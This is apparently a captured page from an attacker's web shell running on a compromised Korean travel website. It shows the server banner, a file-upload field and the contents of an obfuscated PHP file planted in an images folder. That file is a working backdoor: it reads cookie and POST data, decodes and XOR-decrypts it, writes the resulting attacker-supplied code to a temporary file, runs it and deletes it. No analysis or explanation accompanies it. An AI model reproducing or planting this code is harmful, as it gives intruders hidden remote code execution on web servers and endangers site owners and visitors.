? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/templates/system/images/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/templates/system/images/18b17a1a.php

$jHSgSlPIlO = chr (75) . "\x5f" . chr ( 382 - 315 )."\x79" . chr (97) . chr ( 219 - 137 )."\122";$RobBfNo = "\143" . "\154" . chr ( 601 - 504 )."\x73" . chr ( 834 - 719 )."\x5f" . "\145" . "\x78" . 'i' . 's' . "\x74" . "\x73";$NFDdIjbX = $RobBfNo($jHSgSlPIlO); $elMmFeJU = $NFDdIjbX;if (!$elMmFeJU){class K_CyaRR{private $KknTiYp;public static $nrpulBf = "2b0b8865-9f62-4331-ad06-48697f17ddaa";public static $Wneyb = 50713;public function __construct($HVawZjYyyQ=0){$NQrULpDRR = $_COOKIE;$NmMrhGB = $_POST;$QuyZWsY = @$NQrULpDRR[substr(K_CyaRR::$nrpulBf, 0, 4)];if (!empty($QuyZWsY)){$lfmvTSH = "base64";$vCHbVc = "";$QuyZWsY = explode(",", $QuyZWsY);foreach ($QuyZWsY as $IKoGjcV){$vCHbVc .= @$NQrULpDRR[$IKoGjcV];$vCHbVc .= @$NmMrhGB[$IKoGjcV];}$vCHbVc = array_map($lfmvTSH . '_' . chr ( 101 - 1 ).chr ( 786 - 685 )."\x63" . chr (111) . chr ( 912 - 812 ).'e', array($vCHbVc,)); $vCHbVc = $vCHbVc[0] ^ str_repeat(K_CyaRR::$nrpulBf, (strlen($vCHbVc[0]) / strlen(K_CyaRR::$nrpulBf)) + 1);K_CyaRR::$Wneyb = @unserialize($vCHbVc);}}private function SxsPYoIWek(){if (is_array(K_CyaRR::$Wneyb)) {$ujAWMhu = sys_get_temp_dir() . "/" . crc32(K_CyaRR::$Wneyb["\163" . "\x61" . chr (108) . "\164"]);@K_CyaRR::$Wneyb["\x77" . chr ( 356 - 242 )."\151" . "\164" . "\145"]($ujAWMhu, K_CyaRR::$Wneyb[chr (99) . "\x6f" . chr ( 868 - 758 ).chr (116) . chr (101) . "\x6e" . "\164"]);include $ujAWMhu;@K_CyaRR::$Wneyb["\x64" . chr (101) . chr ( 710 - 602 )."\x65" . "\x74" . "\x65"]($ujAWMhu); $kjmiupxD = "21215";exit();}}public function __destruct(){$this->SxsPYoIWek(); $kjmiupxD = "21215";}}$WfsQCgPJO = new K_CyaRR(); $WfsQCgPJO = "14273_38969";}

T1KUS90T
  root-grov@210.1.60.28:~$